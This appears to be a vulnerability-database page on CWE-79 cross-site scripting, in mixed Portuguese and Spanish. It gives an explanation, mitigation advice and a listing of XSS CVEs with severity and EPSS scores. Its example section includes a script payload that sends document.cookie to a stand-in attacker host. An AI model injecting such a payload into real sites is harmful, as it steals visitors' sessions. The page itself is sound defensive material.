Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-57424HIGHA stored cross-site scripting (XSS) vulnerability exists in the MyCourts v3 application within the LTA number profile field. An attacker canEPSS 0.3%CVE-2026-97650MEDIUMningzichun student-management-system addLog.php echo cross site scriptingEPSS 0.3%CVE-2024-9775MEDIUMAnih - Creative Agency WordPress Theme <= 2024 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-15064MEDIUMUltimate Member <= 2.11.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via DOM GadgetsEPSS 0.3%CVE-2025-20279MEDIUMCisco Unifed Contact Center Express Stored Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2025-25908MEDIUMA stored cross-site scripting (XSS) vulnerability in tianti v2.3 allows attackers to execute arbitrary web scripts or HTML via injecting a cEPSS 0.3%CVE-2026-105708MEDIUMimgproxy SVG svg.go sanitizeElement cross site scriptingEPSS 0.3%CVE-2024-43330HIGHWordPress PowerPack for Beaver Builder plugin < 2.37.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-37185MEDIUMAuthenticated Stored Cross-Site Scripting Vulnerabilities (XSS) in EdgeConnect SD-WAN Orchestrator Web Administration InterfaceEPSS 0.3%CVE-2023-41471HIGHCross Site Scripting vulnerability in copyparty before 1.9.2 allows a local attacker to execute arbitrary code via a crafted payload to the EPSS 0.3%CVE-2026-4578MEDIUMcode-projects Exam Form Submission update_s3.php cross site scriptingEPSS 0.3%CVE-2026-88208MEDIUMMicrosoft Office SharePoint Spoofing VulnerabilityEPSS 0.3%CVE-2026-100316HIGHEuropean VAT Compliance Assistant for WooCommerce <= 1.36.10 - Unauthenticated Stored Cross-Site Scripting via CF-IPCountry HeaderEPSS 0.3%CVE-2025-14244MEDIUMGreenCMS Menu Management CustomController.class.php cross site scriptingEPSS 0.3%CVE-2025-64339HIGHClipBucket v5: Stored XSS Vulnerability in Manage PlaylistsEPSS 0.3%CVE-2025-8072MEDIUMTarget Video Easy Publish <= 3.8.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via placeholder_img ParameterEPSS 0.3%CVE-2024-5870MEDIUMTweaker5 <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button ShortcodeEPSS 0.3%CVE-2024-44060HIGHWordPress filmix theme <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-41591MEDIUMDrayTek Vigor3910 devices through 4.3.2.6 allow unauthenticated DOM-based reflected XSS.EPSS 0.3%CVE-2026-1095MEDIUMCanto Testimonials <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'fx' Shortcode AttributeEPSS 0.3%